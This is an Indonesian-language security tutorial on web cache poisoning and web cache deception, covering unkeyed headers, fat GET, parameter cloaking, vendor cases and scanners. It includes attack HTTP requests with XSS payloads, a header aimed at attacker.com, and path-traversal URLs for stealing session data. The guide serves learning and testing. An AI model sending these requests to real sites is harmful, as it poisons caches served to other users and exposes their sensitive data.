Cache Poisoning and Cache Deception

Open Table of contents

Perbedaan
Cache Poisoning
Contoh Eksploitasi
Vulnerable Examples
Cache Deception
Alat Otomatis
Referensi

Perbedaan

Apa perbedaan antara web cache poisoning dan web cache deception?

Dalam web cache poisoning, penyerang menyebabkan aplikasi menyimpan konten berbahaya dalam cache, dan konten ini disajikan dari cache kepada pengguna aplikasi lainnya.

Dalam web cache deception, penyerang menyebabkan aplikasi menyimpan konten sensitif milik pengguna lain dalam cache, dan penyerang kemudian mengambil konten ini dari cache.

Cache Poisoning

Cache poisoning bertujuan untuk memanipulasi cache sisi klien untuk memaksa klien memuat sumber daya yang tidak terduga, sebagian, atau berada di bawah kendali penyerang. Sejauh mana dampaknya bergantung pada popularitas halaman yang terpengaruh, karena respons yang tercemar hanya disajikan kepada pengguna yang mengunjungi halaman tersebut selama periode kontaminasi cache.

Pelaksanaan serangan cache poisoning melibatkan beberapa langkah:

Identifikasi Input yang Tidak Memiliki Kunci: Ini adalah parameter yang, meskipun tidak diperlukan agar permintaan dapat dicache, dapat mengubah respons yang dikembalikan oleh server. Mengidentifikasi input ini sangat penting karena dapat dieksploitasi untuk memanipulasi cache.
Eksploitasi Input yang Tidak Memiliki Kunci: Setelah mengidentifikasi input yang tidak memiliki kunci, langkah berikutnya adalah mencari cara untuk menyalahgunakan parameter ini untuk memodifikasi respons server dengan cara yang menguntungkan penyerang.
Memastikan Respons yang Tercemar Disimpan dalam Cache: Langkah terakhir adalah memastikan bahwa respons yang dimanipulasi disimpan dalam cache. Dengan cara ini, pengguna yang mengakses halaman yang terpengaruh selama cache tercemar akan menerima respons yang tercemar.

Penemuan: Periksa header HTTP

Biasanya, ketika respons disimpan dalam cache, akan ada header yang menunjukkan hal tersebut, Anda dapat memeriksa header mana yang perlu diperhatikan dalam posting ini: HTTP Cache headers.

Penemuan: Kode kesalahan cache

Jika Anda berpikir bahwa respons sedang disimpan dalam cache, Anda bisa mencoba mengirim permintaan dengan header yang salah, yang seharusnya dijawab dengan kode status 400. Kemudian coba akses permintaan tersebut secara normal dan jika responsnya adalah kode status 400, Anda tahu itu rentan (dan Anda bahkan bisa melakukan DoS).

Namun, perhatikan bahwa kadang-kadang kode status seperti ini tidak dicache, jadi uji ini mungkin tidak dapat diandalkan.

Penemuan: Identifikasi dan evaluasi input tanpa kunci

Anda bisa menggunakan Param Miner untuk brute-force parameter dan header yang mungkin mengubah respons halaman. Misalnya, sebuah halaman mungkin menggunakan header X-Forwarded-For untuk memberi tahu klien memuat skrip dari sana:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Memicu respons berbahaya dari server back-end

Dengan parameter/header yang diidentifikasi, periksa bagaimana itu disanitasi dan di mana ia dipantulkan atau mempengaruhi respons dari header. Dapatkah Anda menyalahgunakannya (misalnya melakukan XSS atau memuat kode JS yang dikendalikan oleh Anda? melakukan DoS?…)

Dapatkan respons yang dicache

Setelah Anda mengidentifikasi halaman yang dapat disalahgunakan, parameter/header yang digunakan, dan cara untuk menyalahgunakannya, Anda perlu mendapatkan halaman tersebut agar tercache. Tergantung pada sumber daya yang ingin Anda simpan dalam cache, ini mungkin memerlukan waktu, Anda mungkin perlu mencoba selama beberapa detik.

Header X-Cache dalam respons bisa sangat berguna karena mungkin memiliki nilai miss ketika permintaan tidak dicache dan nilai hit ketika sudah dicache.
Header Cache-Control juga menarik untuk mengetahui apakah sumber daya sedang dicache dan kapan sumber daya akan dicache lagi: Cache-Control: public, max-age=1800

Header menarik lainnya adalah Vary. Header ini sering digunakan untuk menunjukkan header tambahan yang dianggap sebagai bagian dari kunci cache meskipun biasanya tidak terkunci. Oleh karena itu, jika pengguna tahu User-Agent dari korban yang ditargetkan, ia dapat meracuni cache untuk pengguna yang menggunakan User-Agent tertentu tersebut.

Satu header lagi yang terkait dengan cache adalah Age. Ini mendefinisikan waktu dalam detik berapa lama objek telah berada dalam cache proxy.

Saat mencache permintaan, berhati-hatilah dengan header yang Anda gunakan karena beberapa di antaranya dapat digunakan secara tak terduga sebagai kunci dan korban perlu menggunakan header yang sama. Selalu uji Cache Poisoning dengan browser yang berbeda untuk memeriksa apakah itu berfungsi.

Contoh Eksploitasi

Contoh Termudah

Sebuah header seperti X-Forwarded-For dipantulkan dalam respons tanpa disanitasi.
Anda bisa mengirimkan payload XSS dasar dan meracuni cache sehingga setiap orang yang mengakses halaman tersebut akan terinfeksi XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Catatan: bahwa ini akan meracuni permintaan ke /en?region=uk bukan ke /en

Cache poisoning untuk DoS

Cache Poisoning Dos

Cookie juga bisa dipantulkan dalam respons sebuah halaman. Jika Anda bisa menyalahgunakannya untuk menyebabkan XSS misalnya, Anda bisa mengeksploitasi XSS di beberapa klien yang memuat respons cache berbahaya tersebut.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Perhatikan bahwa jika cookie yang rentan sangat sering digunakan oleh pengguna, permintaan reguler akan membersihkan cache.

Menghasilkan ketidaksesuaian dengan pembatas, normalisasi, dan titik

Cache poisoning dengan path traversal untuk mencuri API key

Tulisan ini menjelaskan bagaimana mungkin mencuri API key OpenAI dengan URL seperti https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 karena apapun yang cocok dengan /share/* akan dicache tanpa Cloudflare menormalkan URL, yang dilakukan ketika permintaan mencapai web server.

Menggunakan beberapa header untuk mengeksploitasi kerentanannya web cache poisoning

Terkadang Anda perlu menyalahgunakan beberapa input tanpa kunci untuk dapat mengeksploitasi cache. Misalnya, Anda dapat menemukan Open redirect jika Anda mengatur X-Forwarded-Host ke domain yang dikendalikan oleh Anda dan X-Forwarded-Scheme ke http. Jika server sedang meneruskan semua permintaan HTTP ke HTTPS dan menggunakan header X-Forwarded-Scheme sebagai nama domain untuk pengalihan. Anda bisa mengontrol ke mana halaman diarahkan oleh pengalihan tersebut.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Mengeksploitasi dengan header `Vary` yang terbatas

Jika Anda menemukan bahwa header X-Host digunakan sebagai nama domain untuk memuat sumber daya JS tetapi header Vary dalam respons menunjukkan User-Agent. Maka, Anda perlu menemukan cara untuk mengeskfiltrasi User-Agent dari korban dan meracuni cache menggunakan User-Agent tersebut:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Kirimkan permintaan GET dengan parameter di URL dan di body. Jika server web menggunakan parameter dari body tetapi server cache menyimpan parameter dari URL, maka siapa pun yang mengakses URL tersebut akan sebenarnya menggunakan parameter dari body. Seperti kerentanannya yang ditemukan oleh James Kettle di situs Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Portswigger lab ini

Parameter Cloaking

Misalnya, mungkin untuk memisahkan parameter di server Ruby menggunakan karakter ; daripada &. Ini bisa digunakan untuk menempatkan nilai parameter yang tidak dikunci di dalam parameter yang dikunci dan mengeksploitasinya.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Pelajari di sini bagaimana melakukan serangan Cache Poisoning dengan mengeksploitasi HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

Web Cache Vulnerability Scanner dapat digunakan untuk menguji secara otomatis kerentanannya terhadap web cache poisoning. Ini mendukung berbagai teknik dan sangat dapat disesuaikan.

Contoh penggunaan: wcvs -u example.com

Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

ATS meneruskan fragmen dalam URL tanpa menghapusnya dan menghasilkan cache key hanya menggunakan host, path, dan query (mengabaikan fragmen). Jadi permintaan /#/../?r=javascript:alert(1) dikirim ke backend sebagai /#/../?r=javascript:alert(1) dan cache key tidak memiliki payload di dalamnya, hanya host, path, dan query.

GitHub CP-DoS

Mengirimkan nilai yang salah di header content-type memicu respons cached 405. Cache key berisi cookie sehingga hanya pengguna yang tidak terautentikasi yang dapat diserang.

GitLab + GCP CP-DoS

GitLab menggunakan bucket GCP untuk menyimpan konten statis. GCP Buckets mendukung header x-http-method-override. Jadi, dimungkinkan untuk mengirimkan header x-http-method-override: HEAD dan meracuni cache untuk mengembalikan respons dengan body kosong. Ini juga dapat mendukung metode PURGE.

Rack Middleware (Ruby on Rails)

Dalam aplikasi Ruby on Rails, middleware Rack sering digunakan. Tujuan dari kode Rack adalah untuk mengambil nilai header x-forwarded-scheme dan menyetelnya sebagai skema permintaan. Ketika header x-forwarded-scheme: http dikirimkan, akan terjadi pengalihan 301 ke lokasi yang sama, yang berpotensi menyebabkan Denial of Service (DoS) pada sumber daya tersebut. Selain itu, aplikasi mungkin mengakui header X-forwarded-host dan mengalihkan pengguna ke host yang ditentukan. Perilaku ini dapat menyebabkan pemuatan file JavaScript dari server penyerang, yang menimbulkan risiko keamanan.

403 dan Storage Buckets

Cloudflare sebelumnya menyimpan respons 403. Mencoba mengakses S3 atau Azure Storage Blobs dengan header Otorisasi yang salah akan menghasilkan respons 403 yang tersimpan. Meskipun Cloudflare telah berhenti menyimpan respons 403, perilaku ini mungkin masih ada di layanan proxy lainnya.

Menyuntikkan Parameter yang Dikunci

Cache sering kali memasukkan parameter GET tertentu dalam cache key. Misalnya, Fastly’s Varnish menyimpan parameter size dalam permintaan. Namun, jika versi parameter yang dikodekan URL (misalnya, siz%65) juga dikirimkan dengan nilai yang salah, cache key akan dibangun menggunakan parameter size yang benar. Namun, backend akan memproses nilai pada parameter yang dikodekan URL. Mengkodekan URL parameter size kedua menyebabkan parameter tersebut diabaikan oleh cache tetapi digunakan oleh backend. Menetapkan nilai 0 untuk parameter ini menghasilkan kesalahan 400 Bad Request yang dapat disimpan di cache.

Aturan User Agent

Beberapa pengembang memblokir permintaan dengan user-agent yang cocok dengan alat lalu lintas tinggi seperti FFUF atau Nuclei untuk mengelola beban server. Ironisnya, pendekatan ini dapat memperkenalkan kerentanannya seperti cache poisoning dan DoS.

Header yang Tidak Sah

RFC7230 menentukan karakter yang diterima dalam nama header. Header yang berisi karakter di luar jangkauan tchar seharusnya memicu respons 400 Bad Request. Dalam praktiknya, server tidak selalu mematuhi standar ini. Contoh yang terkenal adalah Akamai, yang meneruskan header dengan karakter yang tidak sah dan menyimpan respons 400, asalkan header cache-control tidak ada. Pola yang dapat dieksploitasi ditemukan ketika mengirimkan header dengan karakter ilegal, seperti \, yang akan menghasilkan kesalahan 400 Bad Request yang dapat disimpan di cache.

Mencari header baru

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Tujuan dari Cache Deception adalah untuk membuat klien memuat sumber daya yang akan disimpan oleh cache dengan informasi sensitif mereka.

Pertama-tama, perlu dicatat bahwa ekstensi seperti .css, .js, .png, dll biasanya dikonfigurasi untuk disimpan dalam cache. Oleh karena itu, jika Anda mengakses www.example.com/profile.php/nonexistent.js, cache kemungkinan besar akan menyimpan responsnya karena melihat ekstensi .js. Namun, jika aplikasi membalas dengan konten sensitif pengguna yang disimpan di www.example.com/profile.php, Anda dapat mencuri konten tersebut dari pengguna lain.

Hal-hal lain yang perlu diuji:

www.example.com/profile.php/.js
www.example.com/profile.php/.css
www.example.com/profile.php/test.js
www.example.com/profile.php/../test.js
www.example.com/profile.php/%2e%2e/test.js
Gunakan ekstensi yang kurang dikenal seperti .avif

Contoh yang sangat jelas dapat ditemukan dalam tulisan ini: https://hackerone.com/reports/593712.
Dalam contoh tersebut dijelaskan bahwa jika Anda memuat halaman yang tidak ada seperti http://www.example.com/home.php/non-existent.css, maka konten dari http://www.example.com/home.php (dengan informasi sensitif pengguna) akan dikembalikan dan server cache akan menyimpan hasilnya.
Kemudian, penyerang dapat mengakses http://www.example.com/home.php/non-existent.css di browser mereka dan mengamati informasi sensitif dari pengguna yang mengakses sebelumnya.

Perlu dicatat bahwa proxy cache harus dikonfigurasi untuk menyimpan file berdasarkan ekstensi file (.css) dan bukan berdasarkan content-type. Dalam contoh http://www.example.com/home.php/non-existent.css akan memiliki content-type text/html alih-alih mime type text/css (yang diharapkan untuk file .css).

Pelajari di sini tentang bagaimana melakukan serangan Cache Deception dengan mengeksploitasi HTTP Request Smuggling.

Alat Otomatis

toxicache: Pemindai Golang untuk menemukan kerentanannya terhadap web cache poisoning di daftar URL dan menguji berbagai teknik injeksi.

Table of contents